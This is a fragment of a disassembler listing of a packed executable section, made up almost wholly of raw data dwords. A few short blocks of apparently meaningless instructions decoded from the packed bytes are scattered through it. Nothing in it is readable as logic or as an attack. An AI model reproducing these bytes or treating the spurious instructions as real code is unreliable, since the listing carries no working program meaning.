		dd 6D4F744Ah, 596C219Dh, 0D57DDE46h, 5EB2DFBFh,	5AA70D71h
		dd 3A788C72h, 0FF8A0D75h, 35DD2466h, 0C3A291FFh, 4BCB1D45h
		dd 74F1DBE4h, 0F0089777h, 41E26BCBh, 272B8F72h,	71D2EA08h
		dd 3A607FB1h, 5C29111Dh, 27C4E688h, 8208218Ah, 54452E09h
		dd 32152DD4h, 2F977C0Dh, 9B2FD2FFh, 46C85978h, 21425993h
		dd 5279A006h, 0C10E64ADh, 82B2E090h, 32B0A6AAh,	0FF115657h
		dd 7ACD9D14h, 5C1C8541h, 7B842F87h, 0A5FC407Dh,	22E68972h
		dd 0CC72CA5Bh, 7F72C83Ah, 8E61F931h, 5FB3F3C6h,	52BE5627h
		dd 0EE9F5FCh, 0CD0A4245h, 0E87E031Ch, 135C0E52h, 0C41599D8h
		dd 0F9D53AC1h, 1AAA4870h, 0C1F1B6D6h, 961F1AD3h, 0E6880DD3h
		dd 2EED4B21h, 0ECC9BA20h, 7A47C94Ch, 0B7C46C68h, 8125FD06h
		dd 661D0B69h, 0E227D064h, 99885181h, 5EB4FA0Bh,	2DD0227Ah
		dd 1FEF0D9Bh, 0C12AF2CCh, 51669187h, 0EE241215h, 0C7FA259Eh
		dd 50E59C1Bh, 86E96177h, 0B208867Eh, 81A5540Fh,	0B4BC0C88h
		dd 7FB55C68h, 0F678091Ch, 5AD89493h, 0D1826312h, 7A719FD2h
		dd 0C5E76CAFh, 0B4B42A86h, 0B7178CFCh, 0A227D47Fh, 60F0DE16h
		dd 0E67BDCFBh, 0FFAAACD7h, 0DBFA39EAh, 50BC5D99h, 22B1A245h
		dd 0AF8E162Ch, 0A55273EFh, 57E7FB00h, 88594F08h, 0CC9DDF2Ah
		dd 8C7B4A9h, 2FCDC896h,	0A3CD0FEBh, 517113D1h, 92C17D49h
		dd 0DD80FB7Ch, 0FDDEEAA9h, 44C2CAA5h, 0C875DC9Bh, 0C4B2093Eh
		dd 32C13D1Bh, 41CF05E6h, 7B5D717Ah, 5AB575FDh, 0E00368ADh
		dd 0F9B03F73h, 127CA5BDh, 17F7E23Eh, 5EFBBB31h,	21A3DFCEh
		dd 0A826BBE6h, 17726B45h, 18BCEE20h, 6C54935h, 5BE8AC0Bh
		dd 0E33EF19Dh, 0F2CB2974h, 6E9EAE3Eh, 0C7272B0Ch, 43DFE750h
		dd 3BE0FD7Eh, 0FC215FD2h, 8FB563BFh, 76E30173h,	0A678F549h
		dd 153093B2h, 0D69F34CAh, 0E87B896Fh, 944C27B5h, 0F0E7CBF3h
		dd 0D2687E96h, 677B87CCh, 1E867EFEh, 676868F8h,	19402C73h
		dd 0A1742B10h, 0FEA308DBh, 0D6F40FE9h, 10623EA0h, 7028ED4Eh
		dd 288DDF71h, 78CAF6F5h, 0C3D45649h, 0D64DCEACh, 7243C46Fh
		dd 0F58A61B2h, 45FB2DF2h, 4DA734FAh, 83B14416h,	8D76CE8Dh
		dd 0C32D3393h, 0D852B92Dh
		dd 8501D3A8h, 4F3110Ch,	0EE1D85B8h, 0EEAD9A0Ah,	93740205h
		dd 1D39DC3Fh, 875787ADh, 0AE8DE9FAh, 8957E07Ch,	6E7020DFh
		dd 0CD291844h, 0BF977914h, 775F6A8h, 1AE95F12h,	4F3CBE7h
		dd 7DB48A56h, 0E5A41065h, 0E031DAE3h, 5B97A9D7h, 8C9CC88Eh
		dd 0EBFDCA19h, 78825790h, 0D701F0DAh, 6E6ABAB3h, 3F9D9923h
		dd 24B48A0h, 17B680DEh,	3C78B1C7h, 56F15FD1h, 7C3BB4A0h
		dd 4C472AA9h, 0E8ABA183h, 0CC90977Ah, 18F7AD0Dh, 0DE428364h
		dd 0D89FE946h, 84E45C68h, 0E589ED94h, 3542BEA9h, 0FCBDE04Ah
		dd 0D1D14AD1h, 2B475BF5h, 0B219140Ah, 193A1D99h, 22570A6Ch
		dd 1447AF2Ch, 0EE5766C0h, 25D149ABh, 95E82DF8h,	0EAD338DEh
		dd 7165BD8Eh, 0F91156A1h, 0FAA9256Fh, 5B6BFAA4h, 0C16C5CF9h
		dd 59C254DDh, 420D521Fh, 0CE0D29D4h, 0C16FA59Ah, 0C804AC7Fh
		dd 84A55178h, 2DB9A668h, 0D6E3265Fh, 0B41DC9B0h, 0B371EF5Dh
		dd 8D0A3345h, 6F146672h, 9CC69FB2h, 0ADF9376Fh,	2C1C55BCh
		dd 0AA355A75h, 0E366928Eh, 26589B3Ch, 0C67C797Dh, 0EE1F7588h
		dd 1C441361h, 278EE9A5h, 0BB0D77A9h, 0ABD2BFA3h, 65378014h
		dd 3987D833h, 0EF50611Bh, 0B68ADB62h, 0C5D3EAB0h, 0C1E7894Eh
		dd 0E7B0DFCFh, 690396DBh, 389DA7DAh, 0B29B1A0Ch, 465560A0h
		dd 9FD83919h, 0C9493DA4h, 9593742Bh, 29C57FA2h,	0E88246BAh
		dd 8001C56Bh, 0C0CFAFA8h, 0D3F0D460h, 57C6BAC8h, 3311376Bh
		dd 3D908792h, 0DFA378F4h, 732E3C94h, 3B3735E5h,	7F41B20Fh
		dd 0B1AB7E06h, 14FDD5Eh, 0AD57202Bh, 0EFA1799Eh, 36DA9740h
		dd 0FF53D6D4h, 0A76118h, 4918E94Fh, 0C0350333h,	0B5AE85FFh
		dd 0CC8F950Fh, 0F02B7809h, 75E4BCE4h, 2F37AC70h, 0F1DC00A1h
		dd 0E0E4FA43h, 9A7070DDh, 0F293E87Bh, 79CA7F05h, 0AB0EDFBEh
		dd 0DCFA99F1h, 2855A637h, 0B342DE0Bh, 0C0EA49B8h, 3EE2BA96h
		dd 0D6F7B45Bh, 3F196B44h, 0A43E5701h, 0D4C4F827h, 12060C34h
		dd 3E146FE9h, 44A2FDBBh, 6862D45Ch, 554077B9h, 532B2426h
		dd 0D81C72E9h, 0F72AD59Bh, 0B5E740B0h, 1A608AC9h, 4752F64h
		dd 0FCD98F9Dh, 37EA17D4h, 70BE1AA4h, 0AAB5E7CBh, 8A1E34F0h
		dd 42DE9534h, 7E4C1E9Bh, 8B283C53h, 1AAB4218h, 4336A292h
		dd 380C86D2h, 10215A7h,	40D8FD4Fh, 0F0E658DBh, 7BE829F9h
		dd 5B7CCED0h, 0CFF110B6h, 236E212Bh, 0DCB41B87h, 0AF2AD465h
		dd 5D4366h, 0C0EF1707h,	0D99FAF7Eh, 0AA477D5Bh,	0FD4D89D9h
		dd 81D27214h, 0DFA241B0h, 6A170936h, 75F7C34Bh,	6A27638Eh
		dd 6C007E8Eh, 0B78E7B1Dh, 0B0B0F8A1h, 0AAC862ADh, 119BCFA1h
		dd 6D4D23A0h, 0BED2C32Ch, 0F199C212h, 8F256859h, 79DA2092h
		dd 4494A3Ah, 0FCEBF30h,	0CD8B2698h, 34AFA818h, 8C0D24BFh
		dd 3582D62Bh, 7C2E7331h, 1FAB72Dh, 7333F6D6h, 54346A39h
		dd 93E35138h, 0DA21953Ah, 6E834591h, 953EC0E2h,	79F7F5D2h
		dd 2BF1213Dh, 0B7CB027Dh, 9DF3F5FDh, 0FD8551ACh, 3617BC3Ch
		dd 0A511740Dh, 71F85DEEh, 0FD4C3DFAh, 2E4CFCABh, 8E722549h
		dd 0D638DA21h, 277FC0EBh, 3FECF40h, 36B49976h, 9B833137h
		dd 0A40E5D0Fh, 88032C55h, 8727151Ch, 2F41555h, 0BE1B54Bh
		dd 0FD1D79E4h, 0BD8EF06Ch, 7DFE6735h, 5A6CD863h, 0B30A935Ah
		dd 0E39000A2h, 6F087D84h, 54C8726h, 8C6B72BCh, 5CA37856h
		dd 1080B683h, 98A3A4F1h, 525A44FFh, 67E085B3h, 457B42F5h
		dd 0DD9C1CA5h, 8FAE4295h, 0DD615133h, 5B60CEh, 0E407178Ch
		dd 0FAF25930h, 0C5FDC3BEh, 0D98A3ADh, 8461B256h, 29DCA0D6h
		dd 5ADE8F2Bh, 0B5015A87h, 4FDA1C56h, 0BC45AB80h, 4C8593BAh
		dd 89109314h, 0EED4E404h, 0BE1505A7h, 9E5518A7h, 21610B5Ah
		dd 17E84683h, 4CBD08B8h, 0BBC93939h, 295FC832h,	2F9DB8AFh
		dd 6AE54074h, 0CB707840h, 4609FFA2h, 9E43E8B9h,	9B66FECBh
		dd 88264341h, 0B4D353E6h, 9F640E99h, 32229F2Ch,	0FB104622h
		dd 0AF77C9D1h, 4E178402h, 0DB86DB76h, 115C4A70h, 0C42EDA4Ch
		dd 0DCBB11A8h, 3ADACAD6h, 0B4D11723h, 0D8527D91h, 64459008h
		dd 0DE6A0A74h, 82C158B0h, 0BE8B644Fh, 1436DB6Ch, 6BC49531h
		dd 2DDC290h, 16E3F89Bh,	0A3C62ECBh, 7257854Eh, 1ACE4515h
		dd 79295A48h, 7237F7C7h, 26ABC31Ch, 0A692F364h,	32D00276h
		dd 386B5DC9h, 88B2B422h, 8BC1C904h, 33DD3E3Ch, 0D9732439h
		dd 0AC00948Ah, 5AD4E653h, 8CDFCC0Ch, 21659C9Dh,	64F867ECh
		dd 66CC6046h, 0FABA816Bh, 9E7D1A46h, 0E775E62h,	0A4A3360Dh
		dd 8B72BA92h, 94759E0h,	10E52491h, 6EEE4D5Eh, 0F5973F4h
		dd 54AACFFFh, 0B174E918h, 71926998h, 0DE1F8CFFh, 0EE191599h
		dd 96CBBEACh, 0D3E8963h, 7730A508h, 0E728EDE1h,	1CDBFF95h
		dd 6B845F53h, 65EE6904h, 0FB47F78Dh, 0E19CDA83h, 9F0EBBD9h
		dd 9B6EE28Dh, 5319CE87h, 412BB7CFh, 0AE72046h, 0C620619Ch
		dd 87744128h, 225433DFh, 57B86524h, 0EEAB8851h,	0A6881535h
		dd 62EDAE0Bh, 0BC89DCB6h, 8C117203h, 563C98BBh,	0CDABBA08h
		dd 5FDB7D04h, 2D2A91BEh, 5A495EADh, 4C80DE33h, 7F70E304h
		dd 7F8FBE32h, 16562EEh,	0C5AD038Ch, 37029F35h, 5815C6FFh
		dd 0CF705829h, 0F95CAB90h, 7700C70Dh, 0ED03D591h, 0F07592DEh
		dd 33CE906Ah, 0D1952CF9h, 79F90539h, 0DB2E7E49h, 85697C64h
		dd 46B7586h, 0B631EBFCh, 1D231543h, 623CDA4h, 980DEE55h
		dd 6AC500A4h, 8B1110ABh, 54FA39AFh, 0F3B8E3FFh,	0CFD9BAC2h
		dd 0C20F1170h, 76CC9BDDh, 18538BEAh, 749EE236h,	512AF474h
		dd 0EF4B6596h, 0A574B9Fh, 2C3A31D4h, 0CB0D774Eh, 0D93BF3E1h
		dd 58FAB2D4h, 94DE7CBFh, 0CA77EE0Eh, 0C6349A07h, 2187F345h
		dd 0ED0FF498h, 87353838h, 86AA2AD4h, 2A9E34E8h,	121B60C9h
		dd 8A370681h, 0CF2193B7h, 0F86DAA88h, 4AF4AEEh,	4F00C49Fh
		dd 823F2D68h, 0C3E1DD52h, 0CA0AC603h, 0AB5AC660h, 51E304FEh
		dd 0BAB9C184h, 154383BDh, 6F5460C2h, 0B2194D73h, 46A6A8E3h
		dd 38A71738h, 98CE2A77h, 1FE4792Bh, 2C7F1146h, 73455BDDh
		dd 664F1DE6h, 0AA5D209Bh, 0F424474Fh, 37F9AC37h, 93DBC37Dh
		dd 41DF3991h, 15D46FEEh, 43A4F9EDh, 0BA624F92h,	80BFEF71h
		dd 2D2544A9h, 0E5407DCDh, 94007227h, 54C858A8h,	7AC210EBh
		dd 0FD77EE93h, 9E3B3B7Ch, 0C7B59BF8h, 0BCC862BCh, 26E7D975h
		dd 82BA37EFh, 6E35747Fh, 0B018C220h, 0D23BD1CAh, 0B309C2FAh
		dd 455A32AFh, 7D29070Eh, 546E75Ah, 3425180Dh, 37C8C7h
		dd 0CCA6C46Ah, 1C8A7957h, 0DB927C35h, 5707AF89h, 3AC85419h
		dd 841DF660h, 0D5A66455h, 0FDFB0A6Ah, 0B0744810h, 526ACB66h
		dd 9B6C3943h, 0E89BD906h, 0B05904B7h, 0CA480FB6h, 6E655378h
		dd 0BA3DCCD1h, 6A0AE4DDh, 3E1AF54Bh, 0FE812AADh, 5DD972F6h
		dd 9227E91Ch, 6F912BEBh, 21F41CDFh, 0A099F7BDh,	8DF8A4Dh
		dd 4C9C4926h, 0E0D179D9h, 0E96CE5CDh, 4F653E98h, 0BB81F18Dh
		dd 0ABF947CEh, 0FC507EF2h, 2035850Dh, 0EBEEB442h, 0D38D48E7h
		dd 0D910D557h, 0D3484E99h, 0D897BCB6h, 0ECF18A6Eh, 0F4835915h
		dd 26AFF8FBh, 1190E20Ah, 8F2259EDh, 0F76AB2C7h,	9ACA7741h
		dd 64B6C515h, 4EBE6571h, 296671C4h, 365F67E2h, 0AB4EBF6Ah
		dd 0E4E5ED7Dh, 0AAC0E9AAh, 0B408CE3Ch, 82C5A809h, 0E98BFEB1h
		dd 54082336h, 7502F7D3h, 0BA045D45h, 53E736E2h,	0BA1BBDDBh
		dd 0F4481384h, 7B137201h, 8CA81F2Ch, 0E8EA752h,	0B4E1A694h
		dd 995D318Ch, 0DB22FBDAh
		dd 19895AE2h, 0D9917E19h, 39AADC88h, 0C3E4A818h, 8A39178Ch
		dd 33D6A84Bh, 8B939F25h, 4A387D21h, 0A660A262h,	0E1058D09h
		dd 356F11DDh, 75CF809Eh, 9F88DC66h, 14FB7A78h, 0E7BD573Fh
		dd 7C858C27h, 1FAF5AABh, 0E81C4C37h, 0FE651123h, 733F4B67h
		dd 0ED978BFEh, 0ADACD927h, 725648C3h, 9D913513h, 1E986E12h
		dd 321E5C5Fh, 5939509Dh, 4AC9F18h, 131757E7h, 0F19B28E0h
		dd 0BFF3EA5Ah, 6188E1BCh, 31B72FB2h, 5EA0EA4Bh,	430C0BECh
		dd 58E3DB8Bh, 3726E86Fh, 6A946B4h, 0F2F58692h, 83CA23C1h
		dd 0B6DE2F5Dh, 966B4D33h, 63D248E7h, 0D9AA098Eh, 73785E76h
		dd 0DE592B2Fh, 75C7574Ch, 0E58C11D6h, 5668EE0Dh, 0CCBBB31Eh
		dd 5F4B198Bh, 0A7E81CDEh, 0B0812090h, 1E980048h, 0AFCA137h
		dd 0BFF611F9h, 6FF85BD0h, 0EE6B9BAEh, 7D1EDD4Dh, 0B714CB7Bh
		dd 8374C107h, 19221386h, 8389FE20h, 0B4766E57h,	17C9AA76h
		dd 7544611Bh, 0E282109h, 0CC33E77Dh, 0B3992020h, 0E0BB71C9h
		dd 0A10109C4h, 1C4FC57h, 129EB27Fh, 0EE459834h,	8CCAB04Eh
		dd 78D4C5D6h, 0BE07C5B4h, 0C0E94EBFh, 0CFDA4B07h, 0F2066EEh
		dd 93DFC6F8h, 234179D2h, 314C82BCh, 5F03D73Dh, 2B2F77D8h
		dd 76FB1B67h, 8CDF21B6h, 119ECF51h, 49FB92D4h, 0AB9E9F02h
		dd 59E1D2A6h, 7EE4C021h, 0F57094D8h, 0CE4F8007h, 79896EA0h
		dd 7735089Eh, 91D82AF6h, 0A35CC454h, 0DF7941E9h, 0F2B3BC53h
		dd 5C3B7962h, 208A6C46h, 255CD79h, 8773CB3Bh, 484C4DDCh
		dd 0EB4C5810h, 1A1F1163h, 51E8311Ch, 4FD2ED41h,	33350AC1h
		dd 0AF5871EEh, 0DE6B78DBh, 9D9B96E7h, 37064BAFh, 66EEEC60h
		dd 231F4AB1h, 0C61E163h, 44A422C5h, 0E449CB0Ch,	7D868B4Fh
		dd 5280BB43h, 0A2993B14h, 0DF465E69h, 0E469D794h, 681F31FAh
		dd 0DC8E99D2h, 0C8E17183h, 0EC88D551h, 0B20E2BACh, 10E5F09Fh
		dd 8A4ECEE8h, 0F64462Ch, 8954FB32h, 0E9D0261Bh,	8349F98Ah
		dd 0DEBC26F3h, 0FD6676E8h, 0C6AFF3BEh, 8BC5BBBDh, 0F20DA2CAh
		dd 0AEC62365h, 2B15626Eh, 0FCE3BAF3h, 0EF175B17h, 9621D195h
		dd 5D4199C3h, 0CCAC14E8h, 504D101Fh, 85964F23h,	0F1FBDFDCh
		dd 0EDA2AC5Eh, 5538C1BFh, 0F5C19C3Eh, 96B25358h, 812A0E8Fh
		dd 19F96021h, 4685719Bh, 0E3E430AFh, 0EFD20925h, 879FE203h
		dd 8F7ED20Ah, 0E5DFF928h, 1B8857A1h, 3D30C2CCh,	2BD8711Ah
		dd 0BF5AC4A5h, 66A1F3D8h, 95ACBDC8h, 0B30DF4A3h, 4B8B4236h
		dd 1A97815Bh, 0A66B14B4h, 282BA3A9h, 19A358AEh,	9CCFA020h
		dd 0D8713AA4h, 7192B230h, 1003932Fh, 0C61A347h,	0D1E6D6D3h
		dd 8D925AD5h, 8352AB39h, 59235073h, 6B37688Ch, 0D5644380h
		dd 2C4285C3h, 3B3FD92h,	56DA46DCh, 0EFF8C38Ah, 1DEFF263h
		dd 8A5E5F5Fh, 1B1465EEh, 2D84DBEh, 0A5FBDB40h, 0B2CE0980h
		dd 8101EEAh, 12AFF422h,	1DFBDE36h, 3D2DAA28h, 3725C2B6h
		dd 0F9E07619h, 0F50C5A4Ch, 0E0B146B7h, 46C0A09Dh, 0FF4333F5h
		dd 0B09B7920h, 23B3B297h, 0DA1B9E0h, 0DCDE6B1Eh, 0ABC4BED5h
; ---------------------------------------------------------------------------


loc_425440:				; CODE XREF: .packed:00418C51j
		loop	loc_425461
		test	bh, dl
		out	44h, al
		mov	ds, word ptr [edx-3Eh]
		push	ds
		adc	[eax], ah
		hlt
; ---------------------------------------------------------------------------
		db 99h,	0ADh, 18h
		dd 8F27DCE4h, 0CDA55497h, 4B70309Ch, 58A4868Fh
		db 0A1h
; ---------------------------------------------------------------------------


loc_425461:				; CODE XREF: .packed:loc_425440j
		insb
		pop	edi
		db	2Eh
		out	dx, al
; ---------------------------------------------------------------------------
		db 0F3h, 8Fh, 0D9h
		dd 0FBD576E5h, 26504AC1h, 723CED94h, 7C9D25AEh,	485F9B71h
		dd 9DB89C18h, 7A78F0C4h, 0C69AE13Bh, 2303D67Fh,	0B6972DA3h
		dd 0C8186A78h, 23039E15h, 4D4134ACh, 5BD0E4A7h,	9621F508h
		dd 6E214C9Fh, 1889983Fh, 3EEE0111h, 0C3FE611Bh,	0B3CB2617h
		dd 8C8B2695h, 120041EAh, 0A90C70C2h, 8AF534C6h,	1C972226h
		dd 60C575A5h, 48F54075h, 18F5C6C4h, 0D79D4948h,	1DBDA19Dh
		dd 0A2DC2094h, 0FA947840h, 0E61F6855h, 2EE0A112h, 4EC25628h
		dd 0AE9E45A1h, 49635174h, 87E6D289h, 34B1DFA8h,	4287DB8Ah
		dd 0C27971E3h, 9E65C02Ah, 0B8E0799Ch, 0EABF5746h, 0EDDB2DEh
		dd 8BCC7183h, 0F6DF843Bh, 0C184CCEEh, 0FE1357B8h, 7F42495Bh
		dd 9E572489h, 0A73687C2h, 3E86CAA8h, 585EBF0Fh,	5D728B03h
		dd 0EAACD7C3h, 149ABC95h, 0AE664C6h, 821AA4D5h,	4334BCC6h
		dd 3A2D73B8h, 8D0BD292h, 0BEB28AF5h, 7B8C564Fh,	3C73F0E1h
		dd 0A548888Bh, 6895FE9Ah, 310E2B52h, 0FAD1BA7Bh
; ---------------------------------------------------------------------------


loc_42557C:				; CODE XREF: .packed:00418D8Dj
		jl	short $+2
		inc	ebx
		icebp
		inc	ebx
		sbb	byte ptr [edx],	60h
		inc	esi
		sub	[edx+1158FD6Ch], esi
		push	eax
		dec	edx
		jmp	far ptr	0AFB9h:0F20B72C7h
; ---------------------------------------------------------------------------
		add	al, 5Fh
		retn
; ---------------------------------------------------------------------------
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 23h,	0CDh, 99h
		dd 0E3A3558Fh, 1C5867CCh, 0F2F0EDD8h, 0D14FCEF1h, 0C376C912h
		dd 145EDA92h, 0A6296294h, 6170B088h, 5031A092h,	86801926h
		dd 236435BBh, 0B291F297h, 137BDE5Dh, 94CC3F28h,	5C65356Bh
		dd 89FD05E3h, 76FCAA18h, 0FFFB5E3Bh, 9CAEB9D1h,	17965365h
		dd 25FA2AE2h, 0B3B19CEBh, 0B80CDB8h, 33727904h,	0D1D91189h
		dd 661D4149h, 59A34E30h, 15B918C1h, 50009B80h, 0E77ECF33h
		dd 1E2303D8h, 24E80D53h, 0C4278B3Fh, 0A27F2697h, 681F0D4Fh
		dd 0D8DA303Ch, 2AC80DECh, 23619F54h, 71F0BFFAh,	0FA56D9CEh
		dd 2877E22Ch, 321E2D31h, 0E2AAD72Bh, 6CF704E3h,	5F77633Ch
		dd 0A00B70F0h, 2D42B026h, 95442D4h, 2DFF1C2Dh, 23F37AECh
		dd 11FE05ECh, 870A24B8h, 70D47DCCh, 591F9685h, 5B8AE4B6h
		dd 3005A2EBh, 0D5671BCAh, 8E09C2CDh, 39296EEDh,	16C21D9Bh
		dd 0B65DEAF3h, 7250025Ah, 6EE71ECCh, 5127085Ah,	30729D43h
		dd 2AD8CB9Ch, 9254B564h, 80B4D165h, 0AFB038A4h,	0BB24A126h
		dd 6E134B74h, 0F0B1AAF3h, 0F49CF36Bh, 7C150D61h, 6393F7F5h
		dd 3AB51F3Dh, 72DB1CF5h, 143299ECh, 0A10D20F5h,	0C5A59898h
		dd 625FC7B5h, 0B00B57D9h, 0D86D675Dh, 1CFC4848h, 2C654696h
		dd 86D590F9h, 435E804Eh, 0AEA817ADh, 8EE7ED3h, 0BC881DF3h
		dd 99A39739h, 55028A96h, 7059AFF1h, 0C237C919h,	6EC98DFEh
		dd 0D5833B6Dh, 0C4F41535h, 1997E5A8h, 0B9052857h, 3CB24039h
		dd 4DC6597Ch, 8560963Ch, 0F1856B6Ah, 2E3D9812h,	826D7750h
		dd 8E3222E2h, 5076B93Dh, 3226BB24h, 5543F3ACh, 7326B322h
		dd 0B25D7269h, 39FF8804h, 311ED683h, 717E9438h,	5319D486h
		dd 0C8AFB401h, 7F24F34Ah, 65D63F5h, 0A66F2323h,	0F7C1336Fh
		dd 4C0CEA39h, 0F3278CF8h, 4DEA8852h, 0F5B59A2Dh, 661879C2h
		dd 650BDE1Bh, 0DB1170BDh, 7C3B85D4h, 6B59678Bh,	0CD28EF6Fh
		dd 0DABD70D4h, 0C65FDC12h, 28395D8Ah, 0C1F422Ch, 8A5F9C3Dh
		dd 0FDDB3ABCh, 0CF3078FDh, 343C91CCh, 0FBA46499h, 82DF3F96h
		dd 0D9C70D5Fh, 0B2B5AE65h, 0E68EC1Fh, 0FB59ED9Ch, 32145854h
		dd 15CE2F0Fh, 0CD378A60h, 9371E706h, 6893F9DEh,	58A4FCBEh
		dd 1A65D490h, 9E489668h, 91652C6Ah, 0EBFBBD68h,	0A670FB2Ah
		dd 38CB2C71h, 2D510BDCh, 19E44D2h, 766728h, 0CAD3AED6h
		dd 2BDBB9D8h, 7747D33Ah, 11F90F85h, 0A2613CECh,	0E552BB6Ch
		dd 563FCEA2h, 0CB829DB5h, 9386929Ch, 565D344Bh,	0C9174131h
		dd 0F2C780EBh, 83E13CD3h, 42B3A820h, 0C9D69D80h, 0D6E84C4Fh
		dd 6C3E3776h, 0A517480Bh, 7FFE2257h, 0BEECFA39h, 0EB1762A0h
		dd 2B4CB5F0h, 5563AAD1h, 4219DB22h, 978DD269h, 0A4EB4D74h
		dd 45E91F41h, 9E9A708h,	390777FAh, 4343EDA9h, 6752D675h
		dd 0D1203222h, 36BBE5EFh, 1B078D1Ch, 0F7898B1Dh, 65C9CB45h
		dd 0D8473196h, 0DF4BD224h, 0F751B98Fh, 618C64AAh, 9E526161h
		dd 88157847h, 7664DD70h, 0CC1D0122h, 85B3F399h,	3CF4427Eh
		dd 1C2CAECDh, 8DB64EBBh, 2068B110h, 0ABA50413h,	0B7CD0769h
		dd 2E028E37h, 0E90582D8h, 632A6354h, 0D6FF57D5h, 49FD1192h
		dd 0CD70BE08h, 964F355Dh, 9ACF2F37h, 0F9607DBFh, 0C8F7080h
		dd 0D0CF1202h, 0E5A73C7Dh, 0E0E0F169h, 5DF9A9D2h, 0E516F99Fh
		dd 586076F9h, 0C341ED39h, 92F0357h, 1CF2964Eh, 5309961Fh
		dd 0B01C22Dh, 0A4D2FB6Bh, 4FFFD5FCh, 0F59F1B2Ah, 13768C1Eh
		dd 0AD64C38Ah, 165E580h, 11DEE255h, 8863D167h, 0A5B79C8Ch
		dd 0A29DB04h, 83B84894h, 8C9383EBh, 9971C57h, 0ECB8943Dh
		dd 0CDA8984h, 0FEDFD6A0h, 0F20543CFh, 4A51A7DBh, 0F88D25BBh
		dd 42150206h, 0E33BB623h, 5243E23Ah, 0D8BE1C06h, 0EBAB8120h
		dd 0A2F899C1h, 0E0F61F84h, 24D0BE1Eh, 0F06DBCF4h, 0F2D5D93Ch
		dd 364BE8E6h, 0ECCB2E59h, 0C3C22B45h, 66DA7699h, 31729109h
		dd 0DEC24A0Eh, 656E1E56h, 0C877608h, 4F175DBFh,	68007CA1h
		dd 103468AFh, 20117627h, 0B5CFEEF7h, 2FDF6CDCh,	90FD29ECh
		dd 0DA9340F4h, 798B5E06h, 0E48644FCh, 0D0F0A091h, 7830B1Ah
		dd 941B1E61h, 0A52AD6A6h, 1439D95Bh, 4ECFFA4h, 0E1EC6006h
		dd 0FAC0B134h, 49A4BA30h, 36FF3275h, 9E4171D8h,	0DBE277A6h
		dd 26F97914h, 75CC39D2h, 0F8FC7D63h, 64D640F9h,	943A01B3h
		dd 5C44A207h, 91B9C198h, 4A69DC8Eh, 0B91BC51Ah,	0B33DA23Dh
		dd 831C28B3h, 0C4607201h, 0FEF29DB3h, 19B6FE7Fh, 3AC9036Dh
		dd 0FC1AD41h, 5A0BB32Fh, 0A1EE3970h, 7E75EEBh, 66F096E0h
		dd 567924D7h, 74668A0Dh, 81E14EE5h, 5110E88Bh, 420D7100h
		dd 53C4A01Dh, 2F688600h, 54B25A81h, 0D5D69D1Fh,	0F8C7484Eh
		dd 561B988Bh, 0BD4FCD1Eh, 72002F28h, 509EC915h,	0F626BD0h
		dd 0F9288EC3h, 0A4B7A1F0h, 410D2117h, 0B0281E41h, 0CBC6DAE5h
		dd 0B1C5B33Dh, 7DB05B6Dh, 21EFB899h, 3827836Ch,	0C0BD8D54h
		dd 2F75DD45h, 6FC2BC3Bh, 5C4C09E4h, 30F9805Dh, 0B6348E9Dh
		dd 0DA349438h, 0DD85FCECh, 579444B1h, 0DB0D9801h, 7A650B2Eh
		dd 0BBCAA680h, 1B069138h, 0CFB37432h, 9FA8DD27h, 593ECFEFh
		dd 778C01A9h, 27BC8A2Fh, 2B2A20C6h, 38F0812Ch, 6AC21F1Bh
		dd 78882845h, 0F115B18h, 0A735727Eh, 10F13999h,	30B55277h
		dd 0CA841A82h, 0F08E9EA1h, 64D5762Eh, 0E985AB83h, 6276B390h
		dd 0F14B41D3h, 0F689D877h, 0A3930434h, 0A1D2B0D5h, 9D0CC5F8h
		dd 0BD2FA404h, 9F0F4F25h, 10E8500Ch, 0DCEE6CFh,	42C8979Fh
		dd 1D1FAC6Ah, 8049C5F5h, 6316B2F0h, 2C67D27Ah, 0CF162780h
		dd 0B4BC2764h, 0CDB9EBB4h, 904AF52Eh, 818402B4h, 78F27D8Bh
		dd 5E67AB97h, 0BD13091Dh, 2BD17042h, 0AC9B8E29h, 2FB9D5ACh
		dd 3694C2CCh, 0F377EEFDh, 76617416h, 5BF5F01Eh,	817AD110h
		dd 0C8E9AE00h, 0AF4BC6Ch, 0A83DD04Fh, 50649690h, 3F7A6720h
		dd 54688E7Ah, 0D9A9DD00h, 56BA1D1Eh, 0D3C6C5CFh, 0D7E8C564h
		dd 0FA456FE7h, 0D6EF08DFh, 0CE63487Ch, 88FCE7F8h, 0C3B798F3h
		dd 52BD31Ah, 0AD465A4Fh, 0C8EDAD8Fh, 0F0C32551h, 0A649E317h
		dd 21350989h, 10693F2h,	0FACC9C6Eh, 0C988AC1Fh,	23A655E4h
		dd 0D1E46299h, 33EA6543h, 574AA789h, 0EF5C96BEh, 5206C28Eh
		dd 8DE3DB14h, 5A4814D9h, 0C9915679h, 89643E8Ch,	4D4BA9A3h
		dd 2CCAD3Fh, 2D00A4AAh,	1FD6AADAh, 0BE6E23CEh, 51655E4Fh
		dd 397BD20Dh, 0E725FE55h, 8E05F975h, 11F28784h,	47ADDEDEh
		dd 2617330h, 1FA9F349h,	98CF9A15h, 27D2F3E2h, 57D5FBFBh
		dd 973335FEh, 0BC46CC2Dh, 0B8976343h, 199E0B29h, 0F821505Ah
		dd 62D2BF3Eh, 0EA26B52Eh, 0E3536601h, 4B3599ABh, 2C8703D2h
		dd 0CC2E390Dh, 50849AE8h, 3394477Fh, 0A57CE0C9h, 966C4CBDh
		dd 88A062BAh, 0C4397565h, 2EFF031h, 0A8A2EDBBh,	194446EAh
		dd 0CFC2C66Ah, 5115E33h, 1A1DAF78h, 1F6C55h, 86030749h
		dd 6B30E489h, 0E0029DCCh, 0CFD30CD9h, 7144D800h, 87FB3C17h
		dd 34D047B5h, 3436C31Ch, 0FA9F352Dh, 0B1D74A56h, 609A830Bh
		dd 0E06C696Fh, 26F46923h, 38DD4F2Ah, 13CFA878h,	0D8E316D8h
		dd 24E05295h, 0ED7548F2h, 0ABDEC054h, 0A4CEE3FAh, 367A8E1Ch
		dd 0F2F00477h, 5BAD4AA1h, 4072D03Eh, 0A5E442D1h, 0CEFF6C26h
		dd 0AD5568C6h, 7A77FC8Bh, 7F1C7C37h, 54264CBCh,	9E5D5311h
		dd 22741FE7h, 83FD61B7h, 3041FE67h, 65424ABCh, 80094AB4h
		dd 358D146h, 0CFF818B4h, 3D68F692h, 8B7025F1h, 2E77F2BAh
		dd 0C32F809Dh, 0BE8E43D2h
		dd 7CE9EF9Ch, 398D52C7h, 20B4ADDCh, 0DA6DDAAEh,	0BED456Dh
